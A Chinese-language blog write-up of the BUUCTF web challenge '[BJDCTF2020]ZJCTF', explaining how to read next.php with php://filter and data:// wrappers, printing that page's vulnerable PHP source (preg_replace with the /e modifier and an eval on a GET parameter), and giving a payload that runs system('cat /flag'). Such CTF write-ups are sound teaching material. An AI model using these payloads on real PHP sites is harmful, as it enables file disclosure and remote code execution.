BUUCTF-web类-[BJDCTF2020]ZJCTF,不过如此
2020-04-22 15:38
417 查看
BUUCTF-web类-[BJDCTF2020]ZJCTF,不过如此
分析代码,ge传入两个参数text和file,text参数利用file_get_contents()函数只读形式打开,打开后内容要与"I have a dream"字符串相匹配,才能执行下面的文件包含$file参数。
看到用的是file_get_contents()函数打开text参数,以及后面的文件包含函数,自然的想到php伪协议中的data://协议
源码中提示我们去包含next.php文件,所以我们利用php://filter协议去读下next.php的源码。
于是构造payload
index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
base64解码,得到next.php的源码。
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
在这里没了思路,于是问了问大牛。
/e模式的preg_replace,有一个远程代码执行漏洞。
思路是利用这个代码执行,执行源码中的getFlag()函数,在传入cmd参数,再利用getFlag中的eval()函数,再进行一个代码执行。
俄罗斯套娃。
https://xz.aliyun.com/t/2557
这篇文章就是讲这个的利用的。
于是构造Payload:
next.php?\S*=${getFlag()}&cmd=system('cat /flag');
得到flag。
ctf路漫漫~
- 点赞
- 收藏
- 分享
- 文章举报
相关文章推荐
- BugkuCTF平台-Web题目笔记
- bugkuCTFweb字符?正则?
- 南邮ctf-web-wp
- bugkuCTF之web题
- hxp 36C3 CTF Web题 WriteupBin Writeup
- CTF-练习平台 writeup web
- CTF_论剑场 Web WriteUp(持续更新)
- 南邮CTF平台writeup:Web(一)
- CTF——南邮攻防平台(web)
- “百度杯”CTF比赛2017年2月场WP--web
- “百度杯”CTF比赛 2017 二月场--web 爆破-2 writeup
- 如此繁荣的移动webapp开发市场:总结当下的一些移动web开发套件
- 南邮CTF - WEB——Writeup
- 平时练习 ctf 解题报告 web类
- 9月15日 晴 星期二 心情一般 不过如此
- JSP 2.0 真是BT阿!不过看起来挺方便的.(Developing Web Applications With JavaServer Pages 2.0)
- ctf web 的一些writeup jwt以及黑客游戏
- 0ctf 部分web writeup.md
- 详解2016 SWPU CTF web4
- BugkuCTF web篇